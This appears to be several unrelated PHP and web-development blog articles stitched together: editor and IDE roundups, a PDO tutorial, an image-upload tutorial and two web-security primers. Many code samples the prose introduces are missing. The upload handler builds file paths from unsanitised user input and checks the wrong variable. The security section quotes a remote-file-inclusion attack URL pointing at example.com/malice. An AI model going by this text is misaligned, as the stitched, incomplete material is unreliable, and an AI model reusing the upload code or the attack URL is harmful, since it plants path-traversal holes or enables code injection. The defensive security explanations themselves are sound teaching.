1. NicEdit

Demo | Download

2. TinyMCE

Demo | Download

3. CKEditor

Demo | Download

4. YUI Rich Text Editor

Demo | Download

5. MarkItUp!

Demo | Download

6. FreeTextBox

Demo | Download

7. MooEditable

Demo | Download

8. OpenWysiwyg

Demo | Download

9. Spaw Editor

Demo | Download

10. jHtmlArea

Demo | Download

Browsershots

Adobe Browserlab

Litmusapp (paid service)

VMware Fusion

Please note that there are multiple applications like this. Choose the one that works best for you. I prefer VMWare Fusion, though admittedly, I don’t have a huge amount of experience with the others.

IE Tester

PDO Introduction

“PDO – PHP Data Objects – is a database access layer providing a uniform method of access to multiple databases.”

It doesn’t account for database-specific syntax, but can allow for the process of switching databases and platforms to be fairly painless, simply by switching the connection string in many instances.

—- picture —-

This tutorial isn’t meant to be a complete how-to on SQL. It’s written primarily for people currently using the mysql or mysqli extension to help them make the jump to the more portable and powerful PDO.

Database Support

The extension can support any database that a PDO driver has been written for. At the time of this writing, the following database drivers are available:

• PDO_DBLIB ( FreeTDS / Microsoft SQL Server / Sybase )
• PDO_FIREBIRD ( Firebird/Interbase 6 )
• PDO_IBM ( IBM DB2 )
• PDO_INFORMIX ( IBM Informix Dynamic Server )
• PDO_MYSQL ( MySQL 3.x/4.x/5.x )
• PDO_OCI ( Oracle Call Interface )
• PDO_ODBC ( ODBC v3 (IBM DB2, unixODBC and win32 ODBC) )
• PDO_PGSQL ( PostgreSQL )
• PDO_SQLITE ( SQLite 3 and SQLite 2 )
• PDO_4D ( 4D )

All of these drivers are not necessarily available on your system; here’s a quick way to find out which drivers you have:

print_r(PDO::getAvailableDrivers());

Connecting

Different databases may have slightly different connection methods. Below, the method to connect to some of the most popular databases are shown. You’ll notice that the first three are identical, other then the database type – and then SQLite has its own syntax.

— picture —

   1. try {
   2.   # MS SQL Server and Sybase with PDO_DBLIB
   3.   $DBH = new PDO("mssql:host=$host;dbname=$dbname, $user, $pass");
   4.   $DBH = new PDO("sybase:host=$host;dbname=$dbname, $user, $pass");
   5.
   6.   # MySQL with PDO_MYSQL
   7.   $DBH = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass);
   8.
   9.   # SQLite Database
  10.   $DBH = new PDO("sqlite:my/database/path/database.db");
  11. }
  12. catch(PDOException $e) {
  13.     echo $e->getMessage();
  14. }

Please take note of the try/catch block – you should always wrap your PDO operations in a try/catch, and use the exception mechanism – more on this shortly. Typically you’re only going to make a single connection – there are several listed to show you the syntax. $DBH stands for ‘database handle’ and will be used throughout this tutorial.

You can close any connection by setting the handle to null.

# # close the connection
# $DBH = null;

You can get more information on database specific options and/or connection strings for other databases from PHP.net.

Exceptions and PDO

PDO can use exceptions to handle errors, which means anything you do with PDO should be wrapped in a try/catch block. You can force PDO into one of three error modes by setting the error mode attribute on your newly created database handle. Here’s the syntax:

# $DBH->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT );
# $DBH->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING );
# $DBH->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );

No matter what error mode you set, an error connecting will always produce an exception, and creating a connection should always be contained in a try/catch block.

PDO::ERRMODE_SILENT

This is the default error mode. If you leave it in this mode, you’ll have to check for errors in the way you’re probably used to if you used the mysql or mysqli extensions. The other two methods are more ideal for DRY programming.

PDO::ERRMODE_WARNING

This mode will issue a standard PHP warning, and allow the program to continue execution. It’s useful for debugging.

PDO::ERRMODE_EXCEPTION

This is the mode you should want in most situations. It fires an exception, allowing you to handle errors gracefully and hide data that might help someone exploit your system. Here’s an example of taking advantage of exceptions:

   1. # connect to the database
   2. try {
   3.   $DBH = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass);
   4.   $DBH->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
   5.
   6.   # UH-OH! Typed DELECT instead of SELECT!
   7.   $DBH->prepare('DELECT name FROM people');
   8. }
   9. catch(PDOException $e) {
  10.     echo "I'm sorry, Dave. I'm afraid I can't do that.";
  11.     file_put_contents('PDOErrors.txt', $e->getMessage(), FILE_APPEND);
  12. }

In this article, I’ll be looking at how to combine JavaScript/jQuery with PHP and, particularly, PHP’s GD library to create an image manipulation tool to upload an image, then crop it and finally save the revised version to the server. Sure, there are plugins out there that you can use to do this; but this article aims to show you what’s behind the process. You can download the source files (updated) for reference.

We’ve all seen this sort of Web application before — Facebook, Flickr, t-shirt-printing sites. The advantages are obvious; by including a functionality like this, you alleviate the need to edit pictures manually from your visitors, which has obvious drawbacks. They may not have access to or have the necessary skills to use Photoshop, and in any case why would you want to make the experience of your visitors more difficult?
Before You Start

For this article, you would ideally have had at least some experience working with PHP. Not necessarily GD — I’ll run you through that part, and GD is very friendly anyway. You should also be at least intermediate level in JavaScript, though if you’re a fast learning beginner, you should be fine as well.

A quick word about the technologies you’ll need to work through this article. You’ll need a PHP test server running the GD library, either on your hosting or, if working locally, through something like XAMPP. GD has come bundled with PHP as standard for some time, but you can confirm this by running the phpinfo() function and verifying that it’s available on your server. Client-side-wise you’ll need a text editor, some pictures and a copy of jQuery.
Setting Up The Files

And off we go, then. Set up a working folder and create four files in it: index.php, js.js, image_manipulation.php and css.css. index.php is the actual webpage, js.js and css.css should be obvious, while image_manipulation.php will store the code that handles the uploaded image and then, later, saves the manipulated version.

In index.php, first let’s add a line of PHP to start a PHP session and call in our image_manipulation.php file:

After that, add in the DOCTYPE and skeleton-structure of the page (header, body areas etc) and call in jQuery and the CSS sheet via script and link tags respectively.

Add a directory to your folder, called imgs, which will receive the uploaded files. If you’re working on a remote server, ensure you set the permissions on the directory such that the script will be able to save image files in it.

First, let’s set up and apply some basic styling to the upload facility.
The Upload Functionality

Now to some basic HTML. Let’s add a heading and a simple form to our page that will allow the user to upload an image and assign that image a name:

<h1>Image uploader and manipulator</h1>
<form method="POST" action="index.php" enctype="multipart/form-data"
id="imgForm">
	<label for="img_upload">Image on your PC to upload</label>
<input name="img_upload" id="img_upload" type="file">

	<label for="img_name">Give this image a name</label>
<input name="img_name" id="img_name" type="text">
<input name="upload_form_submitted" type="submit">
</form>

Please note that we specify enctype=’multipart/form-data’ which is necessary whenever your form contains file upload fields.

As you can see, the form is pretty basic. It contains 3 fields: an upload field for the image itself, a text field, so the user can give it a name and a submit button. The submit button has a name so it can act as an identifier for our PHP handler script which will know that the form was submitted.

Let’s add a smattering of CSS to our stylesheet:

/* -----------------
| UPLOAD FORM
----------------- */
#imgForm { border: solid 4px #ddd; background: #eee; padding: 10px; margin: 30px;
width: 600px; overflow:hidden;}
	#imgForm label { float: left; width: 200px; font-weight: bold; color: #666;
clear:both; padding-bottom:10px; }
	#imgForm input { float: left; }
	#imgForm input[type="submit"] {clear: both; }
	#img_upload { width: 400px; }
	#img_name { width: 200px; }

Now we have the basic page set up and styled. Next we need to nip into image_manipulation.php and prepare it to receive the submitted form. Which leads nicely on to validation…
Validating The Form

Open up image_manipulation.php. Since we made a point above of including it into our HTML page, we can rest assured that when it’s called into action, it will be present in the environment.

Let’s set up a condition, so the PHP knows what task it is being asked to do. Remember we named our submit button upload_form_submitted? PHP can now check its existence, since the script knows that it should start handling the form.

This is important because, as I said above, the PHP script has two jobs to do: to handle the uploaded form and to save the manipulated image later on. It therefore needs a technique such as this to know which role it should be doing at any given time.

/* -----------------
| UPLOAD FORM - validate form and handle submission
----------------- */

if (isset($_POST['upload_form_submitted'])) {
	//code to validate and handle upload form submission here
}

So if the form was submitted, the condition resolves to true and whatever code we put inside, it will execute. That code will be validation code. Knowing that the form was submitted, there are now five possible obstacles to successfully saving the file: 1) the upload field was left blank; 2) the file name field was left blank; 3) both these fields were filled in, but the file being uploaded isn’t a valid image file; 4) an image with the desired name already exists; 5) everything is fine, but for some reason, the server fails to save the image, perhaps due to file permission issues. Let’s look at the code behind picking up each of these scenarios, should any occur, then we’ll put it all together to build our validation script.

Combined into a single validation script, the whole code looks as follows.

/* -----------------
| UPLOAD FORM - validate form and handle submission
----------------- */

if (isset($_POST['upload_form_submitted'])) {

	//error scenario 1
	if (!isset($_FILES['img_upload']) || empty($_FILES['img_upload']['name'])) {
		$error = "Error: You didn't upload a file";

	//error scenario 2
	} else if (!isset($_POST['img_name']) || empty($_FILES['img_upload'])) {
		$error = "Error: You didn't specify a file name";
	} else {

		$allowedExtensions = array('jpg', 'jpeg', 'gif', 'png');
		preg_match('/\.('.implode($allowedExtensions, '|').')$/', $_FILES['img_upload']['name'], $fileExt);
		$newPath = 'imgs/'.$_POST['img_name'].'.'.$fileExt[0];

		//error scenario 3
		if (file_exists($newPath)) {
			$error = "Error: A file with that name already exists";

		//error scenario 4
		} else if (!in_array(substr($fileExt[0], 1), $allowedExtensions)) {
			$error = 'Error: Invalid file format - please upload a picture file';

		//error scenario 5
		} else if (!copy($_FILES['img_upload']['tmp_name'], $newPath)) {
			$error = 'Error: Could not save file to server';

		//...all OK!
		} else {
			$_SESSION['newPath'] = $newPath;
			$_SESSION['fileExt'] = $fileExt;
		}
	}
}

In this post, we’ll take a close look at the most popular PHP IDEs, exploring their functions, comparing them in a table and drawing some conclusions. Hopefully, you’ll get an idea of what each PHP IDE has to offer and which one best fits your needs.

For a long time, I worked in PHP only for fun. I’ve developed Java Web applications with Eclipse and IntelliJ IDEA. These are a great Java IDEs. Not surprisingly, I wanted something similar for PHP. The following are some of the features that I found needed to be considered.

IDE Features

1. Syntax highlighting

Good syntax highlighting improves code readability a lot. Really! Just look at this:

2. Code completion

Automatic code suggestions can help the developer avoid having to type so much. If it supports custom classes and phpDoc, it can even save you from having to read project documentation.

Good code completion can also prevent typos. For example, if typing $cotroller-> does not show you any suggestions, you’ll know something is wrong. Uh oh… it should be $controller!

Poor code completion can slow you down if too many variants are shown or your class methods are not picked up.

It is also good to have file name completion in HTML src=" and PHP include and require.

3. Navigation

One of the most boring things is trying to find where a certain variable has been defined or used. Some good IDEs can help with “GoTo” actions, like go to definition.

Another important feature is search. Searching should not take a long time, even with large projects. Even better is if the IDE lets you move quickly to the next occurrence of a search phrase, like Firefox does with its Quick Find feature.

4. Errors and warnings highlighting

On-the-fly syntax checking can prevent various typos and common programming mistakes. In the example below, the IDE indicates that you may have used = instead of ==:

The more the IDE detects, the better — except false positives, of course.

5. Refactoring and code generation

Refactoring is basically a set of techniques for turning weak code into solid code. Its implementation in PHP IDEs is very weak compared to that of compiled-language IDEs, such as Java and C, but it’s still very useful.

Very basic PHP refactoring includes:

• “Move,” which updates all includes and requires when moving a file to another directory.
• “Rename,” which renames something and ensures it is renamed throughout the project.
• “Safe delete,” which ensures deletion of a file does not harm other parts of the project.

In addition to basic refactoring, some IDEs can generate code for class constructors, getters/setters and even stub methods for a parent class.

6. Debugging

Debugging is not so critical in PHP because you can add echos or use something like FirePHP without even having to recompile your code. But for complex applications in which you need to add echo after each line to see what’s going on, debugging can save you hours.

If the IDE is good enough, it provides you with step-by-step debugging and lets you see the current values of variables in scope.

7. Versioning system

Versioning is extremely useful for both team and one-person development. It shows what changes have been made to a file, when they were made and by whom. A good IDE allows you to visually compare revisions, copy changes from one version to another, revert to previous states and merge changes made by different team members.

When performing common checks and commits, integrating a versioning system such as CVS, SVN, git or Mercurial in your IDE is usually much better than running a separate application.

8. Client-side features

Using PHP alone is very rare. CSS and JavaScript are almost always somewhere in your application. So, good code completion, highlighting, navigation and perhaps some refactoring would be just as beneficial for the other languages and technologies you use in conjunction with PHP.

How To Choose A Good One?

Every IDE provides a lot of features. Some of those features are very useful, some are not. Here are some guidelines to follow to narrow down the one for you:

• Try free ones first. Their feature set may be enough for you, and you wouldn’t need to pay for a license.
• First, make sure the features you want are ones you really need. If they are, check that they work properly in your IDE of choice.
• If you find one IDE that fits well but is missing one or two features, try specialized tools.
• Once you choose an IDE, play with it for a week before implementing it in a big project. You may find your current working habits are too strong to allow you to feel comfortable with it.

A Comparison Table

Along with Vladimir Statsenko, who helped with the section on Aptana, I’ve prepared this comparison table.

What Was Covered

Eclipse-based IDEs
PDT, Zend Studio 6, Aptana PHP and Aptana Studio Pro are built on the Eclipse platform. That means you can use any of the thousands of Eclipse plug-ins out there. If a feature you need is not integrated in the IDE itself, it is most likely available as a third party plug-in.

Eclipse PHP IDEs were the first freeware IDEs with true IDE capabilities, such as complex code completion, code navigation, projects support, etc. Most of them are still free and very powerful.

NetBeans
NetBeans is the new bright kid on the block, but not built on the Eclipse platform. It has most of the features of other IDEs and yet more still. And it’s free, too.

Development of this IDE is very public, open and rapid. Following the development blog and testing new builds as they come out is very interesting, even if there is already a stable version available (v6.5).

What Was Not Covered

There are plenty of powerful notepads such as PSPad, Notepad++, TextMate, vim and Emacs. Some are very similar to IDEs and even better if you want a good text editor but not the full IDE experience. Reviewing all of the good IDEs out there would not be possible (there are so many), so only the major players are compared here.

PHP IDEs We Tested

Here is the list of PHP IDEs we included in our review:

• PDT 1
• PDT 2.0
• Zend Studio 6
• NetBeans 6.5
• NetBeans 7 (development version)
• Aptana PHP
• Aptana Studio Pro
• Codelobster *
• Nusphere PhpED 5.6 *

We thought it would be interesting to allow our readers to edit the table, which is hosted on Google Docs. Feel free to add your favorite IDE if it’s not there, or note some features on the ones that are.

The full table at Google Docs (not editable snapshot)

* Codelobster and Nusphere PhpED were filled in by Russian community members.

Conclusion

Still not using IDE? You may be wasting time. Try it. You’ll see the difference.

Both PDT and NetBeans are good. If you need a lot of plug-ins, Eclipse is the better choice. If editing tools and code completion are more important to you, then pick NetBeans. NetBeans is a bit more responsive, too.

If you are mostly editing HTML and CSS, try Notepad++, vim, TextMate or Emacs. They all have very good HTML editing capabilities and can be configured for simple code completion. And they are faster and lighter than fully featured IDEs.

If you are editing complex JavaScript, try Aptana, which is amazing for JavaScript, or the Spket plug-in for Eclipse, which has nearly the same features.

And remember, IDEs are not meant to change the way you think. They simply speed up the development process.

Commercial vs. Freeware

Strange as it may sound, commercial PHP IDEs such as Zend Studio and Aptana Studio Pro do not have significantly more advantages than free alternatives such as PDT2.0 and NetBeans, both of which are very good.

With Aptana Studio Pro, you get a good IE JavaScript debugger, SFTP, FTPS and some other less-than-useful features for $99.

Like NetBeans, Zend Studio offers a bit more code completion and error detection than PDT. It also has a very good customizable code formatter, refactoring capabilities (which NetBeans also has) and some wizards for the Zend Framework. It starts at $399.

Resources

• PDT Project
  Official Eclipse PHP Development Tools website.
• Zend Studio
  Official Zend Studio website.
• NetBeans
  Official NetBeans website.
• NetBeans for PHP weblog
  Here you can learn about new features to be included in upcoming releases and discuss them as they are being developed.
• Aptana
  Official Aptana website.

Original source

Web application developers today need to be skilled in a multitude of disciplines. It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over. I speak, of course, about the User Agent. Most commonly seen in the form of a web browser, but in reality, one never really knows what’s on the other end of the HTTP connection.

There are many things to worry about when it comes to security on the Web. Is your site protected against denial of service attacks? Is your user data safe? Can your users be tricked into doing things they would not normally do? Is it possible for an attacker to pollute your database with fake data? Is it possible for an attacker to gain unauthorized access to restricted parts of your site? Unfortunately, unless we’re careful with the code we write, the answer to these questions can often be one we’d rather not hear.

We’ll skip over denial of service attacks in this article, but take a close look at the other issues. To be more conformant with standard terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection. We’ll also assume PHP as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.

1. Cross-site scripting (XSS)

Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com). This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site. Let’s look at an example.

Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see. We’d have code that looks something like this:

To read the message in from the user, we’d have code like this:

This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like <strong> or <em>. We’re essentially trusting the user to only enter safe text. An attacker, though, may enter something like this:

(Note that I’ve changed http to h++p to prevent auto-linking of the URL).

When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer. Remember that bad-script.js now executes in the context of www.mybiz.com.

This happens because we’ve trusted the user more than we should. If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack. We accomplish this using PHP’s input_filter extension.

We can change our PHP code to the following:

Notice that we run the filter on the input and not just before output. We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out. By filtering at the input layer, we ensure that we never store unsafe data. The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded. You may need further processing of the data before sending it to that context.

Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.

PHP has many different input filters, and it’s important to use the one most relevant to your data. Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode, because this could potentially open your code up for attack by undoing the encoding added by the input filter.

If a site is open to XSS attacks, then its users’ data is not safe.

2. Cross-site request forgery (CSRF)

A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our visitors into carrying out an action on our site. This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out. If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user’s behalf. Let’s take the same example as above.

Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:

Now all the attacker needs to do, is get users of mybiz.com to visit their site. This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals. When the user visits the attacker’s site, their browser sends a GET request to www.mybiz.com/post_message. Since the user is still logged in to www.mybiz.com, the browser sends along the user’s cookies, thereby posting an advertisement for cheap medicine to all the user’s friends.

Simply changing our code to only accept submissions via POST doesn’t fix the problem. The attacker can change the code to something like this:

Which will POST the form back to www.mybiz.com.

The correct way to to protect against a CSRF is to use a single use token tied to the user. This token can only be issued to a signed in user, and is based on the user’s account, a secret salt and possibly a timestamp. When the user submits the form, this token needs to be validated. This ensures that the request originated from a page that we control. This token only needs to be issued when a form submission can do something on behalf of the user, so there’s no need to use it for publicly accessible read-only data. The token is sometimes referred to as a nonce.

There are several different ways to generate a nonce. For example, have a look at the wp_create_nonce, wp_verify_nonce and wp_salt functions in the WordPress source code. A simple nonce may be generated like this:

The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it’s valid as long as the action is executed within a day of requesting the page. We could reduce that value for more sensitive actions (like password changes or account deletion). It doesn’t make sense to have this value larger than the session timeout time.

An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated. That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.

We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value. If the two match, then we allow the action to go through. If the nonce has timed out since it was generated, then we reject the request.

This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.

If you don’t use a nonce, your user can be tricked into doing things they would not normally do. Note that even if you do use a nonce, you may still be susceptible to a click-jacking attack.

3. Click-jacking

While not on the OWASP top ten list for 2010, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.

Now since we use a nonce, we’re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won’t protect us. In this kind of attack, the attacker includes our website in an iframe on their own website. The attacker doesn’t have control over our page, but they do control the iframe element. They use CSS to set the iframe’s opacity to 0, and then use JavaScript to move it around such that the submit button is always under the user’s mouse. This was the technique used on the Facebook Like button click-jack attack.

Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof. For example, adding the security="restricted" attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are ways to prevent frame busting in Firefox as well.

A better way might be to make your submit button disabled by default and then use JavaScript to enable it once you’ve determined that it’s safe to do so. In our example above, we’d have code like this:

This way we ensure that the submit button cannot be clicked on unless our page runs in a top level window. Unfortunately, this also means that users with JavaScript disabled will also be unable to click the submit button.

4. SQL injection

In this kind of an attack, the attacker exploits insufficient input validation to gain shell access on your database server. XKCD has a humorous take on SQL injection:

Full image (from xkcd)

Let’s go back to the example we have above. In particular, let’s look at the save_message() function.

The function is oversimplified here, but it exemplifies the problem. The attacker could enter something like

When this gets passed to the database, it could end up dropping the Messages table, causing you and your users a lot of grief. This kind of an attack calls attention to the attacker, but little else. It’s far more likely for an attacker to use this kind of attack to insert spammy data on behalf of other users. Consider this message instead:

Here the attacker has successfully managed to insert spammy messages into the comment streams from user2 and user3 without needing access to their accounts. The attacker could also use this to download your entire user table that possibly includes usernames, passwords and email addresses.

Fortunately, we can use prepared statements to get around this problem. In PHP, the PDO abstraction layer makes it easy to use prepared statements even if your database itself doesn’t support them. We could change our code to use PDO.

This protects us from SQL injection by correctly making sure that everything in $user goes into the user field and everything in $message goes into the message field even if it contains database meta characters.

There are cases where it’s hard to use prepared statements. For example, if you have a list of values in an IN clause. However, since our SQL statements are always generated by code, it is possible to first determine how many items need to go into the IN clause, and add as many ? placeholders instead.

5. Shell injection

Similar to SQL injection, the attacker tries to craft an input string to gain shell access to your web server. Once they have shell access, they could potentially do a lot more. Depending on access privileges, they could add JavaScript to your HTML pages, or gain access to other internal systems on your network.

Shell injection can take place whenever you pass untreated user input to the shell, for example by using the system(), exec() or `` commands. There may be more functions depending on the language you use when building your web app.

The solution is the same for XSS attacks. You need to validate and sanitize all user inputs appropriately for where it will be used. For data that gets written back into an HTML page, we use PHP’s input_filter() function with the FILTER_SANITIZE_SPECIAL_CHARS flag. For data that gets passed to the shell, we use the escapeshellcmd() and escapeshellarg() functions. It’s also a good idea to validate the input to make sure it only contains a whitelist of characters. Always use a whitelist instead of a blacklist. Attackers find inventive ways of getting around a blacklist.

If an attacker can gain shell access to your box, all bets are off. You may need to wipe everything off that box and reimage it. If any passwords or secret keys were stored on that box (in configuration files or source code), they will need to be changed at all locations where they are used. This could prove quite costly for your organization.

6. Phishing

Phishing is the process where an attacker tricks your users into handing over their login credentials. The attacker may create a page that looks exactly like your login page, and ask the user to log in there by sending them a link via e-mail, IM, Facebook, or something similar. Since the attacker’s page looks identical to yours, the user may enter their login credentials without realizing that they’re on a malicious site. The primary method to protect your users from phishing is user training, and there are a few things that you could do for this to be effective.

1. Always serve your login page over SSL. This requires more server resources, but it ensures that the user’s browser verifies that the page isn’t being redirected to a malicious site.
2. Use one and only one URL for user log in, and make it short and easy to recognize. For our example website, we could use https://login.mybiz.com as our login URL. It’s important that when the user sees a login form for our website, they also see this URL in the URL bar. That trains users to be suspicious of login forms on other URLs
3. Do not allow partners to ask your users for their credentials on your site. Instead, if partners need to pull user data from your site, provide them with an OAuth based API. This is also known as the Password Anti-Pattern.
4. Alternatively, you could use something like a sign-in image that some websites are starting to use (e.g. Bank of America, Yahoo!). This is an image that the user selects on your website, that only the user and your website know about. When the user sees this image on the login page, they know that this is the right page. Note that if you use a sign-in seal, you should also use frame busting to make sure an attacker cannot embed your sign-in image page in their phishing page using an iframe.

If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.

Summary

While we’ve covered a lot in this article, it still only skims the surface of web application security. Any developer interested in building truly secure applications has to be on top of their game at all times. Stay up to date with various security related mailing lists, and make sure all developers on your team are clued in. Sometimes it may be necessary to sacrifice features for security, but the alternative is far scarier.

Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article.

Further reading

1. OWASP Top 10 security risks
2. XSS
3. CSRF
4. Phishing
5. Code injection
6. PHP’s input filters
7. Password anti-pattern
8. OAuth
9. Facebook Like button click-jacking
10. Anti-anti frame-busting
11. The Yahoo! Security Center also has articles on how users can protect themselves online.

Defining PHP Security and It’s uses

PHP is the most popular web programming languages in use today due in large part to the fact that it’s a highly flexible syntax that can perform many functions while working flawlessly in conjunction with html – Plus it’s relatively easy to learn for beginners, yet it’s powerful enough for advanced users as well. It also works exceptionally well with open source tools, such as the Apache web server and MySQL database. In other words, its versatility is unsurpassed when compared to other scripting languages, making it the language of choice for many programmers.

Though many programmers and developers may be implementing PHP in their websites, the issue of PHP security is often overlooked when building a site. Insecure coding is rather common in PHP due to the fact that it’s such a forgiving language that will often “work” even when there are a few loose ends in the coding. These “loose ends” are what hackers are looking for, and in PHP, they’re not that hard to find. The key is for you to find them first, and to leverage PHP’s unique features to minimize your security vulnerability.

PHP Security involves minimizing programming errors as much as possible, and putting proper code in place to protect against possible vulnerabilities – Often times this means putting 2-3 “layers” of protection in place to guard sensitive data against hackers that could otherwise cause a catastrophic result if compromised. Developers call this principle of redundant safeguarding Defense in Depth, and this concept has been proven over the years to be an extremely effective defense against malicious attacks.

Types of Attacks

There are various types of attacks that PHP is particularly vulnerable to, and any website that sends or receives information is at risk of an attack – ranging from an annoyance to catastrophic – so it’s important to put the proper security in place to minimize the risk. The two main types of attacks are human attacks and automated attacks – Both of which can potentially devastate a website.

The most common type of human attacks are little more than annoyances and are common at file storage sites and forums, such as abusing file storage policy, defamation, lobbying at sites such Amazon or Yahoo Answers, and other similar abuse that doesn’t necessarily involve manipulation of your website’s source code. Humans can also find security holes that allow them to access source code and use it maliciously. This can potentially cause substantial damage to your website, so this is the type of human attack you should focus your efforts on.

Automated attacks are particularly dangerous because of their efficiency in using the power of automated scripts to wreak havoc on your website in a number of different ways. These attacks may slow down your site, access the error logs, manipulate the source code, or compromise sensitive information – The possibilities are seemingly endless. The most common, and notorious, type of automated attack are viruses and worm, which are slightly different in nature but are similar in the way that they can potentially harm a website.

The goal of PHP security is to minimize, and ultimately eliminate, the potential for both human and automated attacks by putting into place strategic lines of defense to eliminate access to your site by unverified users. The way you go about doing this is to target the most common types of PHP security breaches first, so that you make your website airtight against malicious attacks. So what are the most common types of PHP security breaches?

Most Common PHP Security Vulnerabilities

Experienced hackers know the most common types of security holes to look for in PHP, so it’s important to address these issues first. It doesn’t matter whether you’re a beginner or expert PHP programmer, every programmer makes mistakes now and then, and hackers will find it if you don’t first.

1. Register_Globals

Register_Globals makes writing PHP applications simple and convenient for the developer, but it also poses a potential security risk. This setting is located in PHP’s configuration file, which is php.ini, and it can be either turned on or off. When turned on, it allows unverified users to inject variables into an application to gain administrative access to your website. Most, if not all, PHP security experts recommend turning register_globals off.

For example take a look at the code snippet below. A user could append the end of a page’s url with ?admin=1 to basically force entry to administrative areas that would normally require a password.

With register_globals turned off, this type of forced entry isn’t possible. The good news is that PHP 4.2.0 has register_globals turned off as its default setting, and PHP 6.0.0 has actually removed the feature. While some developers frown upon this move because register_globals off makes programming in PHP slightly more time-consuming, but in terms of PHP security it’s a crucial step in the right direction.

So instead of relying on register_globals, you should instead go through PHP Predefined Variables, such as $_REQUEST. To further tighten security, you should also specify by using: $_ENV, $_GET, $_POST, $_COOKIE, or $_SERVER instead using the more general $_REQUEST.

2. Error Reporting

Error reporting is a great tool for diagnosing bugs and allowing you to fix them quicker and easier, but it also poses a potential security threat. The problem occurs when the error is visible to others on-screen, because it reveals possible security holes in your source code that a hacker can easily take advantage of. If display_errors is not turned off, or have a value of “0”, the output will appear on the end user’s browser – Not good for security! You do, however, want to set log_errors to on, and then indicate the exact location of the log with error_log.

Take a look at the table below from PHPFreaks.com, which points out the recommended settings for both production and development instances of PHP web applications.

3. Cross-Site Scripting (XSS)

Cross-site scripting, or XSS, is a way for hackers to gather your website’s user data by using malicious markup or JavaScript code to trick a user, or their browser, to follow a bad link or present their login details to a fake login screen that instead of logging them in, steals their personal information. The best way to defend against XSS is to disable JavaScript and images while surfing the web, but we all know that’s nearly impossible with so many websites using JavaScript’s rich application environment these days.

To defend against XSS attacks, you need to be proactive – Don’t wait until your website has already been exploited. For instance, PHP applications that use form submission, or POST requests, are much less vulnerable than GET requests. So it’s very important that you spell out which variables and actions will be allowed as GET values, and also which ones must come via POST values. In a nutshell, defending against XSS involves controlling the user input at your site and making sure that it goes through a filtering process to ensure that it’s void of malicious code.

An example of filtering user input can be found in the snippet of code below that was taken from Pro PHP Security by Chris Snyder and Michael Southwell.

This relatively straightforward piece of code works by preventing html and JavaScript from being embedded in the input, which results in a completely safe version of the input. This is especially useful for comment sections of a blog, forums and other web applications that receive user input.

Also useful for protecting against XSS is a useful PHP function called htmlentities(). This simple function works by converting all characters in html to their corresponding entities, such as “<” would convert to “<” (without the quotes).

4. Remote File Inclusion (RFI)

This type of attack is relatively unknown amongst developers, which makes it an especially damaging threat to PHP security. Remote file inclusion, or RFI, involves an attack from a remote location that exploits a vulnerable PHP application and injects malicious code for the purpose of spamming or even gaining access to the root folder of the server. An unverified user gaining access to any server can wreak major havoc on a website in many different ways, including abusing personal information stored in databases.

A great example of an RFI attack can be found atPHPFreaks.com. Here’s an exerpt from that page:

Imagine that at http://example.com/malice.php a file exists and our script is located at http://site.com/index.php. The attacker will do this request: http://site.com/index.php?page=http://example.com/malice. This file will get executed when it is included and it will a write a new file to the disk.

The best way to secure your site from RFI attacks is through php.ini directives – Specifically, the allow_url_fopen and the allow_url_include directives. The allow_url_fopen directive is set to on by default, and the allow_url_include is set to off. These two simple directives will adequately protect your site from RFI attacks.

Other PHP Security Tools

While the most effective way to secure PHP web application is through accurate coding and vigilante monitoring of your site, there are other helpful tools out there that can help to quickly and easily point out possible vulnerabilities in your PHP coding. Here are three useful tools that can be beneficial to PHP developers:

- PhpSecInfo

This useful tool reports security information in the PHP environment, and best of all, it offers suggestions for improving the errors. It’s available for download under the “New BSD” license, and the PhpSecInfo project is always looking for more PHP developers to help improve this tool.

Download PhpSecInfo Here.

